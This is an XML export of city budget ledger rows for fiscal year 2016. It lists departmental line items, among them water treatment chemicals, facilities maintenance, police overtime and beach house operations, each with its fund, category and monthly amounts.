<row _id="21335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40000</total></row>
<row _id="21338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15000</total></row>
<row _id="21339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>70519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70519</total></row>
<row _id="21341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5932</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5932</total></row>
<row _id="21342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-47456</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-47456</total></row>
<row _id="21343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4228</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4228</total></row>
<row _id="21344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409073.0</object><object_description>ROSIE'S GIRLS-SUMMER II</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6005</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6005</total></row>
<row _id="21347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511491.0</object><object_description>OVERTIME CONTINGENCY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>424360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>424360</total></row>
<row _id="21348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-9000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9000</total></row>
<row _id="21349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>750</total></row>
<row _id="21350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>402090.0</object><object_description>SAMOHI FIELD FIELD RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-38600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-38600</total></row>
<row _id="21351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="21352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4486</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4486</total></row>
<row _id="21354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522125.0</object><object_description>UTIL - NATURAL GAS - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20900</total></row>
<row _id="21355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10325</total></row>
<row _id="21356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533225.0</object><object_description>BLDG/STR MAINT-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>214000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>214000</total></row>
<row _id="21357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533226.0</object><object_description>BLDG/STR MAINT-LIBRARY</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>170000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>170000</total></row>
<row _id="21358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533223.0</object><object_description>BLDG/STR MAINT-ACCESS CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="21359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7578</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7578</total></row>
<row _id="21362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3666</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3666</total></row>
<row _id="21363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>609471</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>609471</total></row>
<row _id="21364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14204</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14204</total></row>
<row _id="21365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>533010.0</object><object_description>PERSONAL PROTECTIVE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>46704</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>46704</total></row>
<row _id="21367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>184445</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>184445</total></row>
<row _id="21368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>510</total></row>
<row _id="21369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>570060.0</object><object_description>CITYWIDE MAINTENANCE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-119930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-119930</total></row>
<row _id="21370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="21371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544910.0</object><object_description>TRANSIT STORE EXPENSES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1817</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1817</total></row>
<row _id="21372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11600</total></row>
<row _id="21373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4300</total></row>
<row _id="21374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>72763</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72763</total></row>
<row _id="21375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>485479</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>485479</total></row>
<row _id="21376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544012.0</object><object_description>MEMBRANE REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>282372</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>282372</total></row>
<row _id="21377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403660.0</object><object_description>LIBRARY NON-RESIDENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-150000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-150000</total></row>
<row _id="21378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5990</total></row>
<row _id="21379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56022</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56022</total></row>
<row _id="21380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35000</total></row>
<row _id="21381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13713</total></row>
<row _id="21382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="21383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>195000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>195000</total></row>
<row _id="21384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3000</total></row>
